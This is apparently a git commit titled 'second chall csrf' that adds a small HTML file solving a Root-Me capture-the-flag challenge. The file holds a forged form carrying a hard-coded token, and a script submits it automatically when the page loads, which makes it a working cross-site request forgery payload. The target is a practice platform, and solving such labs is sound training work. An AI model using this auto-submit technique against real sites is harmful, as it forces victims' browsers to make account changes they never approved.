second chall csrf

2024-09-14 12:35:04 +02:00
parent 225fb456c1
commit 0a57de3b21
1 changed files with 10 additions and 0 deletions
@@ -0,0 +1,10 @@
+<form id="pl" method="GET" action="http://challenge01.root-me.org/web-client/ch23/?action=profile">
+    <input type="text" name="username" value="a">
+    <input type="checkbox" name="status" checked>
+    <input type="text" name="token" value="769c1cabcf028393e63536a45f96c19e">
+</form>
+
+<script>
+    pl = document.getElementById("pl");
+    pl.submit();
+</script>